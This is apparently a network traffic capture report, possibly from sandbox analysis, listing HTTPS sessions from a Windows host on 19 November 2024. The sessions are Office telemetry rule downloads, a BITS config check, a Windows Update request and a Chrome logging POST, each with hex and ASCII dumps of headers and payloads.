encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.7	49800	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:33 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:33 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:33 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 6a1e2df9-c01e-008d-338c-3a2eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190533Z-1777c6cb7544nvmshC1TEBf7qc00000008dg000000000n2s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:33 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.7	49801	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:33 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:33 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:33 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 85babd8c-f01e-003f-4e8c-3ad19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190533Z-185f5d8b95cdcwrthC1NYCy5b8000000090000000000y337 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:33 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.7	49802	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:33 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:33 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:33 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: ff95cf15-b01e-0001-328c-3a46e2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190533Z-r1d97b99577dd2gchC1TEBz5ys00000007fg00000000t950 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:33 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.7	49804	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:34 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:34 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:34 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: d35eb2be-501e-0064-3d8c-3a1f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190534Z-185f5d8b95c68cvnhC1NYCfn7s000000093g00000000mu3d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:34 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.7	49805	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:34 UTC	191	OUT	GET /rules/rule90401v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:34 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:34 GMT Content-Type: text/xml Content-Length: 1250 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE4487AA" x-ms-request-id: 6fe4cd85-501e-0029-2ea1-3ad0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190534Z-185f5d8b95ctl8xlhC1NYCn94g000000095g00000000rqfb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:34 UTC	1250	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 39 30 34 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 53 61 6d 70 6c 69 6e 67 50 6f 6c 69 63 79 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 4d 65 74 61 64 61 74 61 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="90401" V="3" DC="ESM" EN="Office.Telemetry.SamplingPolicy" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" DL="A" DCa="PSP PSU" xmlns=""> <RIS> <RI N="Metadata" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.7	49806	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:34 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:34 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:34 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: 6d4f85c2-e01e-0003-2b8c-3a0fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190534Z-r1d97b99577ndm4rhC1TEBf0ps00000007yg000000004ksw x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:34 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.7	49808	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:34 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:34 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:34 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: c1a1f15b-901e-005b-358c-3a2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190534Z-185f5d8b95c95vpshC1NYC759c000000092000000000vv8y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:34 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.7	49809	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:34 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:34 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:34 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 96e0b134-501e-0035-148c-3ac923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190534Z-185f5d8b95cwtv72hC1NYC141w00000008z000000000x5d2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:34 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.7	49810	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:34 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-19 19:05:34 UTC	466	IN	HTTP/1.1 200 OK Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF4C) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=77990 Date: Tue, 19 Nov 2024 19:05:34 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.7	49803	4.245.163.56	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:34 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=x4TsGtHZrxyoGxz&MD=mueN9v5e HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-19 19:05:35 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 609b1feb-7a92-495e-a0b7-7eb684eff18f MS-RequestId: c672e0a0-da97-4438-81f8-4d621e4fb266 MS-CV: rShGb24DOUGPKGqH.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Tue, 19 Nov 2024 19:05:34 GMT Connection: close Content-Length: 24490
2024-11-19 19:05:35 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-19 19:05:35 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.7	49815	142.250.186.110	443	7620	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:34 UTC	910	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 918 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: chrome-untrusted://new-tab-page X-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlaHLAQiFoM0BCLnKzQEIitPNARj1yc0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=519=asA2gxVF5Pb7qYo2FL6TWB8kC3gBQr67CIFnu-SoYk6ru01yLAfER_4Xx3KfYJXv0qCFi2fCdkZY1ghELsYF_jfRodj-Pk-4WkeTqMNm6Udh0B4_PoMlU9DILzznrmmohc8qLI7ejkACl6nSqSfV5XCghYegBpkLymmEcpMdjtA8HqFepw
2024-11-19 19:05:34 UTC	918	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 34 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 33 37 33 2c 5b 5b 22 31 37 33 32 30 34 33 31 33 32 34 34 35 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.134"],[1,0,0,0,0]]],373,[["1732043132445",null,null,null,
2024-11-19 19:05:35 UTC	944	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: chrome-untrusted://new-tab-page Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=519=YZdqIKKkHurjZnWAEGdaOwP2CNEoQHRUHgtvQ57VYBMvfSFn5FRhJDeTiL79BfoPEyalOOwGdSFcWtv2VIjXgsZyaQhRg8QqEDmlgQiotxt5ex2xvSL2V1qo4B7cee8piSPEUs1zF67JdS4ZvjUsj4FEi2hHB6TW60S994x59E4y5a-0FKkpbkjnSg; expires=Wed, 21-May-2025 19:05:34 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Tue, 19 Nov 2024 19:05:34 GMT Server: Playlog X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Tue, 19 Nov 2024 19:05:34 GMT Cache-Control: private Connection: close Transfer-Encoding: chunked
